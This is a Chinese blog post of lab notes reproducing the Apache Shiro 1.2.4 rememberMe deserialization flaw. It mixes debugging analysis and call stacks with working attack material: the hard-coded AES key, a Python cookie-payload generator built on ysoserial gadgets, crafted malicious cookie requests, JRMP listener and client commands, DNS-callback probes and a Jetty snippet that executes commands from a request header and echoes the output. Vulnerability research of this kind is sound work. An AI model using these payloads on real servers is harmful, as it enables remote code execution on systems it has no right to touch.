赞
踩
参考:
git clone https://github.com/apache/shiro.git
# wget https://codeload.github.com/apache/shiro/zip/shiro-root-1.2.4
git checkout shiro-root-1.2.4
cd ./shiro/samples/web
mvn package -D maven.skip.test=true
这里有个坑:
需要在C:\Users\Administrator.m2
目录下新建一个文件:
~/.m2/toolchains.xml
内容是:
<toolchain>
<type>jdk</type>
<provides>
<version>1.6</version>
<vendor>sun</vendor>
</provides>
<configuration>
<jdkHome>C:\Program Files\Java\jdk1.6.0_45</jdkHome>
</configuration>
</toolchain>
发现这样不对,后来参考这篇文章:
https://blog.csdn.net/mark_tech/article/details/47953859
才知道在C:\Users\Administrator.m2 目录下的toolchains.xml文件没有发挥作用,而需要在MAVEN_HOME下新建
D:\软件\apache-maven-3.6.3\conf\toolchains.xml
IDEA中如果不能编译可以修改settings:
注意如果settings中设置了settings文件未用户自定义的文件,则在进行maven下载时会使用这个配置文件中的代理,
这个优先级高于settings的maven代理:
Shiro反序列化的要点:
rememberMe cookie
CookieRememberMeManager.java
Base64
AES
加密密钥硬编码
Java serialization
部署shirp然后启动tomcat之后,进入这个界面:
输入用户名密码并勾选Remember Me
选项。
勾选之后的请求表单中多了一个参数:rememberMe=on
返回编码之后的Cookie:
内容为:
fHRZHk567IETm4F1HS8p+xD8B9BL8N9ZPqkoqaj6z3YDN9JqY4w2CCHaMu/FRcmtvrsMXOaSF/DNw44FWY2RD98DU+XkPpZ4twE/f8WhTeVPqZH9Qy/aD30Ck+7n6t3vrtsD+AaWHJ96JePTEHeEUBpcA/8M1YRWt3lunE50qbRHAPJW57t5I9WuaLK5ViEJhWwgE3jGcUOtcSnwb5IdNsWowe6YGf2MR9lCoV1OwFYzfEp/DFu1QjrXAmCpyaiWEpR6/3b5G2cBlRjW7xIBQvSx8/hDQ1qJmx9pDwtqgkZKdsfRbTlCqnuEQYjGSfxZXjxVwQrSzUETzUXZPDG3fAfl6xzOGtc6/gPyyNkqGlvPugv0ZdqN+JmsgxCsoHT5gsrIqzNRxSwX7k9Ztg+BSd1ANdSwEOzn+TC4kNGbrl2RwHCgW1Fon4ec4CbLFZNlYVZq1cGlv6APdR84+GuBpmeeHU9ipuCHvNPvkIpx5/kYdLBvc7JiJ3jmgiV1lE2S
没有发现有意义的字符串,说明应该还是被加密的状态。
找到其父类:
private static final byte[] DEFAULT_CIPHER_KEY_BYTES = Base64.decode("kPH+bIxk5D2deZiIxcaaaA==");
使用以下python脚本解析加密的RememberMe字符串:
from Crypto.Cipher import AES
import base64
import sys
str = "fHRZHk567IETm4F1HS8p+xD8B9BL8N9ZPqkoqaj6z3YDN9JqY4w2CCHaMu/FRcmtvrsMXOaSF/DNw44FWY2RD98DU+XkPpZ4twE/f8WhTeVPqZH9Qy/aD30Ck+7n6t3vrtsD+AaWHJ96JePTEHeEUBpcA/8M1YRWt3lunE50qbRHAPJW57t5I9WuaLK5ViEJhWwgE3jGcUOtcSnwb5IdNsWowe6YGf2MR9lCoV1OwFYzfEp/DFu1QjrXAmCpyaiWEpR6/3b5G2cBlRjW7xIBQvSx8/hDQ1qJmx9pDwtqgkZKdsfRbTlCqnuEQYjGSfxZXjxVwQrSzUETzUXZPDG3fAfl6xzOGtc6/gPyyNkqGlvPugv0ZdqN+JmsgxCsoHT5gsrIqzNRxSwX7k9Ztg+BSd1ANdSwEOzn+TC4kNGbrl2RwHCgW1Fon4ec4CbLFZNlYVZq1cGlv6APdR84+GuBpmeeHU9ipuCHvNPvkIpx5/kYdLBvc7JiJ3jmgiV1lE2S"
key = "kPH+bIxk5D2deZiIxcaaaA=="
mode = AES.MODE_CBC
IV = b' ' * 16
encryptor = AES.new(base64.b64decode(key), mode, IV=IV)
remember_bin = encryptor.decrypt(base64.b64decode(str))
print(remember_bin)
>>> b'\xcdvz\x82\xc4X\xa1\x1fH\x0fTt\x02\x0ct\x01\xac\xed\x00\x05sr\x002org.apache.shiro.subject.SimplePrincipalCollection\xa8\x7fX%\xc6\xa3\x08J\x03\x00\x01L\x00\x0frealmPrincipalst\x00\x0fLjava/util/Map;xpsr\x00\x17java.util.LinkedHashMap4\xc0N\\\x10l\xc0\xfb\x02\x00\x01Z\x00\x0baccessOrderxr\x00\x11java.util.HashMap\x05\x07\xda\xc1\xc3\x16`\xd1\x03\x00\x02F\x00\nloadFactorI\x00\tthresholdxp?@\x00\x00\x00\x00\x00\x0cw\x08\x00\x00\x00\x10\x00\x00\x00\x01t\x00\x08iniRealmsr\x00\x17java.util.LinkedHashSet\xd8l\xd7Z\x95\xdd*\x1e\x02\x00\x00xr\x00\x11java.util.HashSet\xbaD\x85\x95\x96\xb8\xb74\x03\x00\x00xpw\x0c\x00\x00\x00\x10?@\x00\x00\x00\x00\x00\x01t\x00\ndarkhelmetxx\x00w\x01\x01q\x00~\x00\x05x\n\n\n\n\n\n\n\n\n\n'
with open("/tmp/decrypt.bin", 'wb+') as fpw:
... fpw.write(remember_bin)
通过xxd查看发现第二行的数据是aced 0005
,即Java序列化对象的魔术头。
将shiro部署到tomcat,然后调试。
在web\src\main\java\org\apache\shiro\web\mgt\CookieRememberMeManager.java以及它的父类
core\src\main\java\org\apache\shiro\mgt\AbstractRememberMeManager.java的构造方法下断点。
发现
发现启动的时候会初始化key,
登录过程(生成序列化数据):
根据encrypt方法:
再跟进core\src\main\java\org\apache\shiro\crypto\JcaCipherService#encrypt(byte[] plaintext, byte[] key)
这里将用户名root
序列化成字节。
总之应该是一个AES加密的过程。
最后完成的加密过程的代码:
# pip install pycrypto import sys import base64 import uuid from random import Random import subprocess from Crypto.Cipher import AES def encode_rememberme(command): command_list = ['/usr/lib/jvm/java-8-oracle/bin/java', '-jar', '/home/77/repos/ysoserial-0.0.6-SNAPSHOT-BETA-all.jar', 'CommonsCollections2', command] command_list2 = ['/usr/lib/jvm/java-8-oracle/bin/java', '-jar', '/home/77/repos/ysoserial-0.0.6-SNAPSHOT-BETA-all.jar', 'URLDNS', command] popen = subprocess.Popen(command_list2, stdout=subprocess.PIPE) BS = AES.block_size pad = lambda s: s + ((BS - len(s) % BS) * chr(BS - len(s) % BS)).encode() key = "kPH+bIxk5D2deZiIxcaaaA==" mode = AES.MODE_CBC iv = uuid.uuid4().bytes encryptor = AES.new(base64.b64decode(key), mode, iv) file_body = pad(popen.stdout.read()) base64_ciphertext = base64.b64encode(iv + encryptor.encrypt(file_body)) return base64_ciphertext if __name__ == '__main__': payload = encode_rememberme(sys.argv[1]) print("/tmp/payload.cookie") with open("/tmp/payload.cookie", "w") as fpw: print("rememberMe={}".format(payload.decode()), file=fpw)
到时候
cat /tmp/payload.cookie
即可查看反序列化的数据。
将Cookie的其他字段删除,只留下刚才生成的payload,发送以下请求:
POST /shiro/index.jsp HTTP/1.1
Host: cqq.com:8088
Content-Length: 0
Content-Type: application/x-www-form-urlencoded
Cookie: rememberMe=DkIdsPu6QA+Qi6pRmNoI5h6+TdxlGfKc6gefxardVH4mVI4tKFoIuz52p63L37HHuM8pFBFYFScjOPgl2n5ty7lhvAzKix/CjuecwMkDTIBrIqwm1n3raShEMy1u2yClT4xA7UwK/wmfVGHPzkW4mv7trXzzJkRb4WpzIx2JNBnun+KetINPCCSaAewSHCwxzAPeat3P9zJBuT6OIFSh+oNG+5loUZU1WKMSe2UkYbwL0ds/rK77NIoxpdQyfjwJkNS7NSKfTRLfIs7YStMJ1D9q+Pb05n9PHl7/EAh4KiCrrEm28QyV+t7GrMlMTijFKZozrVBGmVlz4dgeAz/IshFsr9puEIzfg85TXAyoVcunWzwg40FiIFMJcKhSe0EqMi4P2ksxVVzstJU7ZSROzaA+PdwODaNg4J+A2ymuFs9C1m0DfCxJTDqVOcWme/j35KkpmYaETG8dFAjVIvQfzlBSiWU/iDa/sHpY69AACkyEY1txZXneo2UoBmVVpq6AVJsrSTVwpvGIo465lkoQHniCitquI3B7/6SGVELhi+T2TN9qC+PTFwzLMEg8gy2wodN4RXKfz/kbGSvNPq5hqcsPMSVq9zFtaSBLY+7iPAAM9OF9s5uF18MWmNAv7mnpMfd5s+CwriuPiVc1x7oN8/9H3jtT+K7ek4s6Bz6uKH3miiA0AGMWYaz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vgZF1oQFJNsC3Ba9T9YROK7Tq0QuiYqKd5mkhfGsGp+lCXKu4XK2LT/QM9aSXDt534oTsEls1RQ5TGt1HHLeIP1NSXA0VB8DJT7VZRsn5DrL/itgDvQBOhhfw93HFXfSvWLwRneW6iQkzVc8WcCIIJd8/FhKF2gquk+BmP2PYH72hhRRvas8UYWeqrzEuOf9I8KuyFDS00yFN020CC66djlEz04EgQwDQfNW3sOXgf2MjBugm+CUyxQEQzhWjfagMeM=
Connection: close
在CookieRememberMeManager类的getRememberedSerializedIdentity()方法下断点进行调试。
跟进到这里:
core\src\main\java\org\apache\shiro\io\DefaultSerializer#deserialize(byte[] serialized)
后面就是常规的Java原生反序列化流程了。
跟进调试,其调用栈为:
deserialize:77, DefaultSerializer (org.apache.shiro.io) deserialize:514, AbstractRememberMeManager (org.apache.shiro.mgt) convertBytesToPrincipals:431, AbstractRememberMeManager (org.apache.shiro.mgt) getRememberedPrincipals:396, AbstractRememberMeManager (org.apache.shiro.mgt) getRememberedIdentity:604, DefaultSecurityManager (org.apache.shiro.mgt) resolvePrincipals:492, DefaultSecurityManager (org.apache.shiro.mgt) createSubject:342, DefaultSecurityManager (org.apache.shiro.mgt) buildSubject:846, Subject$Builder (org.apache.shiro.subject) buildWebSubject:148, WebSubject$Builder (org.apache.shiro.web.subject) createSubject:292, AbstractShiroFilter (org.apache.shiro.web.servlet) doFilterInternal:359, AbstractShiroFilter (org.apache.shiro.web.servlet) doFilter:125, OncePerRequestFilter (org.apache.shiro.web.servlet) internalDoFilter:240, ApplicationFilterChain (org.apache.catalina.core) doFilter:207, ApplicationFilterChain (org.apache.catalina.core) invoke:212, StandardWrapperValve (org.apache.catalina.core) invoke:106, StandardContextValve (org.apache.catalina.core) invoke:502, AuthenticatorBase (org.apache.catalina.authenticator) invoke:141, StandardHostValve (org.apache.catalina.core) invoke:79, ErrorReportValve (org.apache.catalina.valves) invoke:616, AbstractAccessLogValve (org.apache.catalina.valves) invoke:88, StandardEngineValve (org.apache.catalina.core) service:528, CoyoteAdapter (org.apache.catalina.connector) process:1100, AbstractHttp11Processor (org.apache.coyote.http11) process:687, AbstractProtocol$AbstractConnectionHandler (org.apache.coyote) doRun:1520, NioEndpoint$SocketProcessor (org.apache.tomcat.util.net) run:1476, NioEndpoint$SocketProcessor (org.apache.tomcat.util.net) runWorker:1145, ThreadPoolExecutor (java.util.concurrent) run:615, ThreadPoolExecutor$Worker (java.util.concurrent) run:61, TaskThread$WrappingRunnable (org.apache.tomcat.util.threads) run:745, Thread (java.lang)
使用URLDNS进行测试:
77@ubuntu129:~/repos$ python3 shiro_payload_gen.py "http://shiro.c014489376af1f8a375c.d.zhack.ca"
77@ubuntu129:~/repos$ vi shiro_payload_gen.py
77@ubuntu129:~/repos$ cat /tmp/payload.cookie
rememberMe=J1ecCrB8RS65eIPQFvsQ3aX0u+WXJWmoJESF2+zpFk99OzE5ljbSImDKnnwhpe5CuUDlRzb0xQS4OrE0sNi6tPy6lHUIMttsphlXI7RYuq2PSUPZQGov2S9cTRyFdut5G9ov0HPfZ87VESkZ976fJRe9lkUW+517Geq3lMdG8bJFEJUTNw3dxvrtHcNbx6QVkqjzIPNevOwyiqBcFTyCIBw1aPrd+ApXep7o4GyjpYmzx0ujcvSqFCcbN3YP0qHwd1G+6uEmLK7W6tWKrTozNEIEp0TZzNWtqg4lV44dF9FZOR8FQ5BEomcrnVpI5RiTRhvSul8OTdIEFhxm5uVchg4m5MqhGy2/QTdc6NIrRPZlb5DSTwXs7EZHrHDsoV6/M1laCDhxPWtt/Y+Ik7S8W/8kfG/snSHpTrLgc57aCIs/39i97s2BWkfNTITyVJSJkoWJCsyKiV090p7NG2OqyQ==
将依赖放到classpath,如果是将shiro放到tomcat里的,则可以放到tomcat-8.0.38\webapps\shiro\WEB-INF\lib
里
commons-collections-3.2.1.jar
使用JRMP的方式:
先使用
/usr/lib/jvm/java-8-oracle/bin/java -jar /home/77/repos/ysoserial-0.0.6-SNAPSHOT-BETA-all.jar JRMPClient 192.168.85.129:12345
生成payload,然后加密生成rememberMe的值,让Burp发起HTTP请求,同时执行以下命令进行JRMP监听。
GET /shiro/ HTTP/1.1
Host: cqq.com:8088
Connection: close
Cookie: rememberMe=dQIY9WUaRhS5UQAZLt4QhMBQXbBgXXcxzXaquc2+dLM8kPAnnyUwFJH4KedA1cS7uhKCKxkRUgxna0lvxbXaY/rpbz41moQYGxIfkz8dlB849g5j1jrXSKNtDId5Xif4mNmWVZiaI8+p4gU9sGnKtlSNP0iyTd4XN7a+Jvwb/ZQZVXg2bu2HGQIo/y3ShQHj318V1zrYRQLP8x/cB5li+cB2gUCvw0dRCQsKXPo2Plwm2fpOESasJbeg6FDyqVMlha52Kvpj6yFKEmZmbuy0D4Mqz9c6wIu6OgVk88J/WPhUAgneJ9z+i4ThBPQKeKLAu1y27nlvJyS0hwub/wwE9OLMbD1lqM1z89628OjFNdKNvvD8jIiCOrmk066BOgWmNviSO5sP5R4US5jDlt/5yg==
注意请求的url一定要是可以触发Shiro反序列化的。
/home/77/repos/jdk1.7.0_80/bin/java -cp /home/77/repos/ysoserial-0.0.6-SNAPSHOT-BETA-all.jar ysoserial.exploit.JRMPListener 12345 CommonsCollections5 calc
但是好像这种方式只能触发一次。
使用CommonsCollections2、CommonsCollections4报错:
Unable to load clazz named [org.apache.commons.collections4.comparators.TransformingComparator]
使用CommonsCollections3、CommonsCollections5报错:
Unable to load ObjectStreamClass [[Lorg.apache.commons.collections.Transformer;: static final long serialVersionUID = -4803604734341277543L;]
Shiro反序列化漏洞主要存在Java开发的网站程序中。当你在测试一个系统时,如果当前系统使用Java开发
则可能采用Shiro框架进行的认证或权限控制。
判断方法:
在请求中加上这个请求头:
Cookie: rememberMe=whatever
发现响应也返回了rememberMe的Cookie
而使用其他的字段时并不返回。
参考:
org\apache\shiro\mgt\AbstractRememberMeManager#getRememberedPrincipals
部分调用栈:
getRememberedPrincipals:398, AbstractRememberMeManager (org.apache.shiro.mgt)
getRememberedIdentity:604, DefaultSecurityManager (org.apache.shiro.mgt)
398行的代码执行错误,进入401行异常捕获中,即进入rememberedPrincipal失败的逻辑:
removeFrom:355, SimpleCookie (org.apache.shiro.web.servlet)
forgetIdentity:288, CookieRememberMeManager (org.apache.shiro.web.mgt)
forgetIdentity:277, CookieRememberMeManager (org.apache.shiro.web.mgt)
onRememberedPrincipalFailure:460, AbstractRememberMeManager (org.apache.shiro.mgt)
getRememberedPrincipals:401, AbstractRememberMeManager (org.apache.shiro.mgt)
getRememberedIdentity:604, DefaultSecurityManager (org.apache.shiro.mgt)
贴一下跟进的调用步骤:
看到最后一张图应该就清晰了,实实在在地知道这个rememberMe=deleteMe
怎么来的了。
JRMPClient:
/usr/lib/jvm/java-8-oracle/bin/java -jar /home/77/repos/ysoserial-0.0.6-SNAPSHOT-BETA-all.jar JRMPClient shiro.401ef753d7c3ee3042a5.d.zhack.ca
URLDNS:
/usr/lib/jvm/java-8-oracle/bin/java -jar /home/77/repos/ysoserial-0.0.6-SNAPSHOT-BETA-all.jar URLDNS http://shiro2.401ef753d7c3ee3042a5.d.zhack.ca
要执行命令的话在可控服务器上监听JRMPListener即可:
/home/77/repos/jdk1.7.0_80/bin/java -cp /home/77/repos/ysoserial-0.0.6-SNAPSHOT-BETA-all.jar ysoserial.exploit.JRMPListener 12345 CommonsCollections5 calc
shiro结合tomcat回显,使用公开的方法,回显大多都会报错。因为生成的payload过大,而tomcat在默认情况下,接收的最大http头部大小为8192。如果超过这个大小,则tomcat会返回400错误。而某些版本tomcat可以通过payload修改maxHttpHeaderSize,而某些又不可以
为了避免不能出网的问题,
https://github.com/potats0/shiroPoc
git clone https://github.com/potats0/shiroPoc
cd shiroPoc
mvn package
生成payload:
$ java -jar target/shiroPoc-1.0-SNAPSHOT-jar-with-dependencies.jar 16 CommonsCollections2 XraySysProp _____ _ _ ______ _ _______ _ / ____| | | (_) | ____| | | |__ __| | | | (___ | |__ _ _ __ ___ | |__ ___ | |__ ___ | | ___ ___ | | ___ \___ \ | '_ \ | | | '__| / _ \ | __| / __| | '_ \ / _ \ | | / _ \ / _ \ | | / __| ____) | | | | | | | | | | (_) | | |____ | (__ | | | | | (_) | | | | (_) | | (_) | | | \__ \ |_____/ |_| |_| |_| |_| \___/ |______| \___| |_| |_| \___/ |_| \___/ \___/ |_| |___/ Powered by UnicodeSec Version 0.0.1 该攻击类型用来查看服务器的System Properties Key: kPH+bIxk5D2deZiIxcaaaA== Gadget: CommonsCollections2 Exploit Type: XraySysProp payload length: 6976 请将下面的rememberMe复制到cookies中, 如果需要执行命令,请添加如下http头。建议删除http中ua等请求头以减小http header的大小,否则容易报400错误 cmd: command rememberMe=kPH+bIxk5D2deZiIxcaaaExg7EWKTeFZkFrgR4FfAGBNnoSgHEfKEsBMQECJwt+ceZp4VwLFx5XJDaWao1Fbavx7SZ+t7zGnhcx3V90PiU6V/R+669FmF/RmRInqP9BPFAZpGqLxmtlP3T5Sr6gKzIESVwYmMVHlicx6oJfMJApdAZc43i4+s2LFY05eufP4KFxchs5wPMG81UGoAHcTRqN9wfq6XhZl+8np8GB8odgKiElSGm3/BDdKWlNGYzA7PnZqYarrqdaFVt7QhIq6iTGVZDijdnG6DRx+GfNGVEtmiYhqE6n6yQZbnRo/xPionQtSEm5p/yEUjpdnWBSmZPDJ5995NYEn5oGQUdzEmjUWsEvLWsmuXCZZ8AJI5/jX/dQ6vCrSTK6CIq8EuwAOSdEaJhaFGyV7jxvD/9S4TUYdDlJhPVFqib0pmXfdc63GYEKw68sge11nWN5aWD/xHm2kPGzLjQe5QePrd4tmgX9d3lxt2GnATXt287njxqIabopOAXKp9Wv4/M3g4oqEc5iI9Lkx35M7dJcDPuBgBN8bZoF8UpMS4tZk5EmYUo5zU9V07rZNT4kDMklAsxc6wm8ubkW3M6V6YXDW5mv/kX6A1PCeqAD137q0sVmugsD80GGHw3kryAja+okAY91pajWnldX0XtB9ppMlXc4sf9/+xJgan2io4JIUfSLM4OpSJ1mm8mHOuJawuL0h7DWrnZ9lpPmrK9T3cjvM4/FXn/iFmpw6gWX4U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Edm/eI3VHWiCqrds+LVhSXqt1T2Ve7U/MXavII1bjRfcYsfSbkndZRxn4ymeVlt1eRCRUAV2bf8E4Hs9K+KFgRI8glM9nB0Gf+W6mHhZmWJYfIFLO7braeWZEcZvtcDkaZtP0TVYJWMQgAmvBZYtb363FROxGGSx5ZyPuV5jJmznSE9VxI35ud7q1ICyBzFsKfbZTUGJsRc6aKgTulQzl11p5Qer+fU9RJYIMF2R9vRcXAn0HkqldFzj60YXq5E2qaMJH4THtLTNdQU0k3zQma3xBqSUXw4aKGaOZcHCbmNnqj5siePprnVhP9ri4SRtGe8eybdWIwtkolX6sxErrIcyyZ/67eohOD/Y5ZpWNowUJQcexib6WAcJ15UZH8NZKf0ltfuklIvDaQOlOH+Bbi+RfDBjP6f6I+bGm+tXRav8S4Q5csyXffcm2jc+foCl/gLrF4qQXhie7d3ubx1Id3+0IefmQgQVK+HVzsIOkJg8uAPuJ/NUl2+jRHWC+x7skPyYVqFY6pNjoYcU/qZNgWfGmx/S7ip4jrrK48lUy1hR6ddkofJ6OZ3z9p4Xo1c8ys+uhbgseJPoic2tPblIkCvZB2c8s8/DVVDxgAwGQrWSTofpJF0NXOJ7T4US2nKFgHKj2XOJGeK4JPd6zlQQndKJuc0VEBepUx7WXUkaLYl8kyp9xHouQdJgJV9Q5+89/OWB155KftlxpPnea0u/gwWsFMrPl4ADTN+/M+Clrsw9FLKSe/nlNSaAQMtLVWEU6wi3XFT3kDf0uEBKtSf7yUZ9sKR9NOfs976gjphGoVhmRKTZqWXfDFS70Dn+2u7v/xi12A
相应的CommonsCollections2 、CommonsCollections4、CommonsCollections8这些gadget都需要commons-collections4-4.0.jar
。
cmd
碰到tomcat解析shiro的jsp的问题,添加依赖:
<dependency>
<groupId>jstl</groupId>
<artifactId>jstl</artifactId>
<version>1.2</version>
<scope>provided</scope>
</dependency>
默认配置下,依赖了commons-beanutils
,而其依赖的是commons-collections-2.1.1:
如果使用ysoserial的CommonsCollectionsK1TomcatEcho
这个gadget,则会产生SerilizationId错误而导致失败。
<groupId>commons-beanutils</groupId>
<artifactId>commons-beanutils</artifactId>
<version>1.8.3</version>
使用shiro自带的CommonsCollections碰到SerializationID不正确,于是手动添加依赖:
<dependency>
<groupId>commons-collections</groupId>
<artifactId>commons-collections</artifactId>
<version>3.2.1</version>
<scope>runtime</scope>
</dependency>
这样才能先加载3.2.1版本的commons-collections库。
登录的过程中,
前端表现:登录提交的时候勾选框,勾选rememberMe这个单选框:
HTTP参数:rememberMe=on
后端认证逻辑:先看Cookie里有没有rememberMe这个字段,然后如果有,则把包含一个key为iniRealm,value为root(用户名)的realmPrincipals对象的 SimplePrincipalCollection经过序列化和AES加密,然后base64编码的值返回给客户端Cookie的rememberMe这个字段中。
下次客户端再请求的时候,就会自动带上这个rememberMe的Cookie,这样后端就不用再次认证了,知道他已经登录了。
在IDEA中用tomcat、resin部署shiro均成功,但是使用jetty时总失败,
参考这个文章:
https://www.yiibai.com/shiro/shiro-webapp-tutorial.html
的这个环境:
https://codeload.github.com/lhazlewood/apache-shiro-tutorial-webapp/zip/master
自由修改pom.xml
默认情况下并没有开启shiro,只需要几个步骤即可打开shiro:
添加src/main/webapp/WEB-INF/shiro.ini
文件
[main]
cacheManager = org.apache.shiro.cache.MemoryConstrainedCacheManager
securityManager.cacheManager = $cacheManager
并且修改
src/main/webapp/WEB-INF/web.xml
文件
加上
<listener> <listener-class>org.apache.shiro.web.env.EnvironmentLoaderListener</listener-class> </listener> <filter> <filter-name>ShiroFilter</filter-name> <filter-class>org.apache.shiro.web.servlet.ShiroFilter</filter-class> </filter> <filter-mapping> <filter-name>ShiroFilter</filter-name> <url-pattern>/*</url-pattern> <dispatcher>REQUEST</dispatcher> <dispatcher>FORWARD</dispatcher> <dispatcher>INCLUDE</dispatcher> <dispatcher>ERROR</dispatcher> </filter-mapping>
然后在命令行里
mvn jetty:run
或者IDEA里调试启动即可。需要什么依赖往pom.xml里加就行。
发现依赖碰到之前的错误。
在IDEA中使用代码片段执行命令,得到回显
代码片段的好处是方便,但是不能引入方法,只能是代码片段。
/* Thread.currentThread().threadLocals */ //获取当前线程对象 Thread thread = Thread.currentThread(); //获取Thread中的threadLocals对象 Field threadLocals = Thread.class.getDeclaredField("threadLocals"); threadLocals.setAccessible(true); //ThreadLocalMap是ThreadLocal中的一个内部类,并且访问权限是default // 这里获取的是ThreadLocal.ThreadLocalMap Object threadLocalMap = threadLocals.get(thread); /* ThreadLocal.ThreadLocalMap */ Class threadLocalMapClazz = Class.forName("java.lang.ThreadLocal$ThreadLocalMap"); //获取ThreadLocalMap中的Entry对象 Field tableField = threadLocalMapClazz.getDeclaredField("table"); tableField.setAccessible(true); //TODO // ThreadLocal.ThreadLocalMap.Entry[] objects = (ThreadLocal.ThreadLocalMap.Entry[]) tableField.get(threadLocalMap); ThreadLocal.ThreadLocalMap.Entry[] objects = (ThreadLocal.ThreadLocalMap.Entry[]) tableField.get(threadLocalMap); /* ThreadLocal.ThreadLocalMap.Entry */ Class entryClass = Class.forName("java.lang.ThreadLocal$ThreadLocalMap$Entry"); //获取ThreadLocalMap中的Entry中的value字段 Field entryValueField = entryClass.getDeclaredField("value"); entryValueField.setAccessible(true); for (Object obj: objects) { if(obj!=null){ // org.eclipse.jetty.server.HttpConnection Object httpConnection = entryValueField.get(obj); if(httpConnection.getClass().getName().endsWith("HttpConnection")){ // org.eclipse.jetty.server.HttpChannelOverHttp Object httpChannel = httpConnection.getClass().getMethod("getHttpChannel").invoke(httpConnection); // org.eclipse.jetty.server.Request Object request = httpChannel.getClass().getMethod("getRequest").invoke(httpChannel); String header = (String) request.getClass().getMethod("getHeader", new Class[]{String.class}).invoke(request, new Object[]{"cmd"}); // org.eclipse.jetty.server.Response Object response = httpChannel.getClass().getMethod("getResponse").invoke(httpChannel); // 控制HTTP响应的Writer PrintWriter writer = (PrintWriter)response.getClass().getMethod("getWriter").invoke(response); // 构造命令执行的输入输出环境 StringBuilder stringBuilder = new StringBuilder(); BufferedReader bufferedReader = new BufferedReader(new InputStreamReader(Runtime.getRuntime().exec(header).getInputStream())); String line; while((line = bufferedReader.readLine()) != null) { stringBuilder.append(line).append("\n"); } String res = stringBuilder.toString(); writer.write(res); writer.close(); } } }
写poc检测的时候,需要去掉一些headers,不然请求包太大,
可以不用requests,用socket实现。
Copyright © 2003-2013 www.wpsshop.cn 版权所有,并保留所有权利。